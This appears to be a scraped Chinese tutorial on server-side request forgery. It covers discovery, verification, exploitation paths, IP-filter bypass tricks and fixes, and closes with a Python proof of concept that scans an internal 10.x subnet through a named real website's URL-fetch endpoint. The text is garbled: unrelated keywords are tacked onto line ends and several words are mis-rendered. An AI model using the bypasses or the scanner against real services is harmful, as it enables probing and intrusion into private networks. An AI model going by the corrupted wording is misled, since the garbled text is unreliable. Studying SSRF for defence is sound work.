SSRFphp
SSRF(服务请求伪造)是一种由攻击者构造造成由服务器端发起请求的一个安全漏洞,它将一个能够发起网络请求
的服务看成跳板来攻击其余服务器,SSRF的攻击目标通常是内网。
当服务器提供了从其余服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片,下
载等),可是没有对目标地址作过滤与限制时就会出现SSRF。 html
SSRF的危害python
能够扫描内部网络
能够构造数据攻击内部主机 web
漏洞挖掘sql
其实只要能对外发起网络请求就有可能存在SSRF漏洞
1.从WEB功能上寻找
经过URL分享内容
文本处理、编码处理、转码等服务
在线翻译
经过URL地址加载与下载图片
图片、文章的收藏
设置邮件接收服务器
2.从URL关键字寻找
share、wap、url、link、src、source、target、u、3g、display、sourceURL、domain...浏览器
3.burpsuite插件自动化检测ssrf漏洞安全
漏洞验证服务器
http://www.douban.com/***/service?image=http://www.baidu.com/img/bd_logo1.png
网络
1.右键在新窗口中打开图片,若浏览器上URL地址为http://www.baidu.com/img/bd_logo1.png
说明不存在SSRF漏洞。
2.firebug看网络链接信息,若没有http://www.baidu.com/img/bd_logo1.png这个图片请求。
则证实图片是豆瓣服务器端发起的请求,则可能存在SSRF漏洞。dom
找存在HTTP服务的内网地址:
1.从漏洞平台中的历史漏洞寻找泄露的存在web应用内网地址。
2.经过二级域名暴力猜想工具模糊猜想内网地址。
漏洞利用放式
1.能够对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
2.攻击运行在内网或本地的应用程序(好比溢出)。
3.对内网web应用进行指纹识别,经过访问默认文件实现。
4.攻击内外网的web应用,主要是使用get参数就能够实现的攻击(好比struct2,sqli等)
5.利用file协议读取本地文件等。
绕过过滤
有时漏洞利用时会遇到IP限制,可用以下方法绕过:
*使用@:http://A.com@10.10.10.10 = 10.10.10.10
*IP地址转换成十进制、八进制:127.0.0.1 = 2130706433
*使用短地址:http://10.10.116.11 = http://t.cn/RwbLKDx
*端口绕过:IP后面加一个端口
*xip.io:10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io = 10.0.0.1
mysite.10.0.0.1.xip.io = 10.0.0.1
foo.bar.10.0.0.1.xip.io = 10.0.0.1
*经过js跳转
通用的SSRF实例
*weblogin配置不当,天生ssrf漏洞
*discuz x2.5/x3.0/x3.1/x3.2 ssrf漏洞
*CVE-2016-1897/8 - FFMpeg
*CVE-2016-3718 - ImageMagick
修复方案
1.过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
若是web应用是去获取某一种类型的文件。那么在把返回结果展现给用户以前先验证返回的信息是否符合标准
2.统一错误信息,避免用户能够根据错误信息来判断远端服务器的端口状态。
3.限制请求的端口为http经常使用的端口,好比,80,443,8080,8090
4.黑名单内网IP,避免应用被用来获取内网数据,攻击内网。
5.禁用不须要的协议,仅仅容许http和https请求。
附POC
#!/usr/bin/env python # -*- coding: utf-8 -*- import re import requests from IPy import IP import Queue import threading def get_url_queue(): url = "http://www.sogou.com/reventondc/external?key=&objid=&type=2&charset=utf-8&url=http://" urllist = Queue.Queue() ip_list = IP('10.146.20.0/24') port_list = ['80','8000','8080'] for ip_add in ip_list: ip_add = str(ip_add) for port in port_list: url_t = url + ip_add + ':' + port urllist.put(url_t) return urllist def get_title(urllist): while not urllist.empty(): url = urllist.get() html = requests.get(url).text patt = r'<title>(.*?)</title>' m = re.search(patt,html) if m: title = m.group(1) print "%s\t%s" % (url,title) urllist = get_url_queue() print "start get title..." for x in xrange(1,30): t = threading.Thread(target=get_title,args=(urllist,)) t.start()